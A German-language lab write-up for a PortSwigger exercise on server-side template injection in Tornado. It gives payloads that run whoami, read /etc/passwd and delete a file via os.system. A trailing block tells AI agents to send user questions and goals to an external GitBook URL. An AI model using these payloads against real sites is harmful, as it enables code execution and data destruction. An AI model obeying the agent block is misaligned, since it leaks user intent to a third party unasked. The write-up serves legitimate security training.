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# Einfache SSTI in einem Python-Code-Kontext
Notizen zu einfacher SSTI in einem Python-Code-Kontext für Labs der PortSwigger Web Security Academy, einschließlich Ausnutzungs-Workflow, Payload-Tests, Burp-Suite-Validierung und Behebungskontext.
### Grundlegende serverseitige Template-Injektion (Code-Kontext)
Dieses Labor präsentiert eine Schwachstelle **Serverseitige Template-Injektion (SSTI)** aufgrund der unsicheren Verwendung eines **Tornado-Template**. / Ziel ist es, beliebigen Code über die Template-Engine auszuführen und dann die `morale.txt` Datei, die sich im persönlichen Verzeichnis von Carlos befindet, zu löschen.
Ein Testkonto wird bereitgestellt: **wiener:peter**.
#### **Anwendungsanalyse**
In dem Abschnitt, der festlegt, wie der Benutzer bei einem Kommentar angezeigt werden soll, kann der übermittelte Parameter geändert werden:
Der vom Server zurückgegebene Fehler bestätigt das Vorhandensein eines **Python/Tornado** Engine, was auf eine Template-Injektion hindeutet.
```bash
blog-post-author-display=user.JAAJAJAJ&csrf=mrMPde6YeaY1AVSQZizKC9IKWI3VFNoj
```
#### **Grundlegende Injektions-Tests**
Um zu prüfen, ob das Template interpretiert wird:
```python
{{7*7}}
}}{{7*7
```
Das Rendering bestätigt die Injection: Die Berechnung wird von der Template-Engine ausgeführt.
#### **Befehlsausführung**
Tornado erlaubt das direkte Importieren von Modulen in das Template
```python
{{os.system('whoami')}}
{%import os%}{{os.system('whoami')}}
```
#### **Datei lesen `/etc/passwd`**
An den verwundbaren Parameter angepasste Injection
{% code overflow="wrap" %}
```python
blog-post-author-display=user.name}}{%import os%}{{os.system('cat /etc/passwd')}&csrf=mrMPde6YeaY1AVSQZizKC9IKWI3VFNoj
```
{% endcode %}
#### **Gelöschte moral.txt-Datei**
Abschließender Payload, um das Lab zu validieren:
{% code overflow="wrap" %}
```bash
blog-post-author-display=user.name}}{%import os%}{{os.system('rm /home/carlos/morale.txt')}&csrf=mrMPde6YeaY1AVSQZizKC9IKWI3VFNoj
```
{% endcode %}
---
# Agent Instructions
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## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/de/web/ssti/basic-ssti-in-a-python-code-context.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
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